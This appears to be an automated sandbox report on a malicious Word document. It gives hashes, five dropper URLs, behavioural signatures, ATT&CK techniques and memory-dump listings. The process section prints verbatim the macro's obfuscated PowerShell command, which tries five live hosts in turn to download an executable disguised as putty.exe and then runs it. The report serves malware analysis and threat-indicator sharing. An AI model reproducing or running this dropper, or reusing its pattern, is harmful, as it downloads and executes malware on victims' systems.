72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5

General

Target

test/0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc
Size

265KB
MD5

34c85b83169b5e70bbfc76c2d6de2be0
SHA1

cf7d59f9e2774b8b2de9f578bad3b78947d0c3f8
SHA256

0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b
SHA512

0610b68ef9916c73ed782dc60045c914c52dff1dc1258b634dd009303a4837b403334f2e6c35f137e12ca473f30c747cd9e08df2acbc3d2a9a6790b1b469eb4e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC

exe.dropper

http://antigua.aguilarnoticias.com/nYZZcHxoYdA

exe.dropper

http://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA

exe.dropper

http://mywedphoto.ru/SPcBpzOvD6_bogkPa

exe.dropper

http://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2176	2592	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

31 2176 powershell.exe
33 2176 powershell.exe
35 2176 powershell.exe
39 2176 powershell.exe
41 2176 powershell.exe

flow	pid	process
31	2176	powershell.exe
33	2176	powershell.exe
35	2176	powershell.exe
39	2176	powershell.exe
41	2176	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2592 WINWORD.EXE
2592 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2176 powershell.exe
2176 powershell.exe
2176 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2176 powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

2592 WINWORD.EXE
2592 WINWORD.EXE
2592 WINWORD.EXE
2592 WINWORD.EXE
2592 WINWORD.EXE
2592 WINWORD.EXE
2592 WINWORD.EXE
2592 WINWORD.EXE

pid	process
2592	WINWORD.EXE
2592	WINWORD.EXE

pid	process
2176	powershell.exe
2176	powershell.exe
2176	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2176	powershell.exe

pid	process
2592	WINWORD.EXE
2592	WINWORD.EXE
2592	WINWORD.EXE
2592	WINWORD.EXE
2592	WINWORD.EXE
2592	WINWORD.EXE
2592	WINWORD.EXE
2592	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2592 wrote to memory of 2176	2592	WINWORD.EXE	powershell.exe
PID 2592 wrote to memory of 2176	2592	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\test\0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $idIgw8 = '$zMbv9jt0l = new-obj15464.589749099ect -com15464.589749099obj15464.589749099ect wsc15464.589749099ript.she15464.589749099ll;$ILTY2 = new-object sys15464.589749099tem.net.web15464.589749099client;$rEAav7Xix = new-object random;$YiwXfglRS = \"15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://antigua.aguilarnoticias.com/nYZZcHxoYdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://mywedphoto.ru/SPcBpzOvD6_bogkPa,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki\".spl15464.589749099it(\",\");$iWybG3KDH = $rEAav7Xix.nex15464.589749099t(1, 65536);$jPBYO2 = \"c:\win15464.589749099dows\temp\put15464.589749099ty.exe\";for15464.589749099each($MOrNXe14G in $YiwXfglRS){try{$ILTY2.dow15464.589749099nlo15464.589749099adf15464.589749099ile($MOrNXe14G.ToS15464.589749099tring(), $jPBYO2);sta15464.589749099rt-pro15464.589749099cess $jPBYO2;break;}catch{}}'.replace('15464.589749099', $MGFnZb);$Wj3yxlHrU = '';iex($idIgw8);
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2176

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2176-264-0x0000000000000000-mapping.dmp

Download
memory/2176-281-0x0000027705DC6000-0x0000027705DC8000-memory.dmp

Filesize
8KB

Download
memory/2176-272-0x0000027705DC3000-0x0000027705DC5000-memory.dmp

Filesize
8KB

Download
memory/2176-271-0x0000027705DC0000-0x0000027705DC2000-memory.dmp

Filesize
8KB

Download
memory/2592-124-0x0000020FBB3D0000-0x0000020FBB3D2000-memory.dmp

Filesize
8KB

Download
memory/2592-123-0x0000020FBB3D0000-0x0000020FBB3D2000-memory.dmp

Filesize
8KB

Download
memory/2592-118-0x00007FF9C7D70000-0x00007FF9C7D80000-memory.dmp

Filesize
64KB

Download
memory/2592-125-0x0000020FBB3D0000-0x0000020FBB3D2000-memory.dmp

Filesize
8KB

Download
memory/2592-122-0x00007FF9C7D70000-0x00007FF9C7D80000-memory.dmp

Filesize
64KB

Download
memory/2592-270-0x0000020FCAAD0000-0x0000020FCAAD4000-memory.dmp

Filesize
16KB

Download
memory/2592-121-0x00007FF9C7D70000-0x00007FF9C7D80000-memory.dmp

Filesize
64KB

Download
memory/2592-120-0x00007FF9C7D70000-0x00007FF9C7D80000-memory.dmp

Filesize
64KB

Download
memory/2592-119-0x00007FF9C7D70000-0x00007FF9C7D80000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads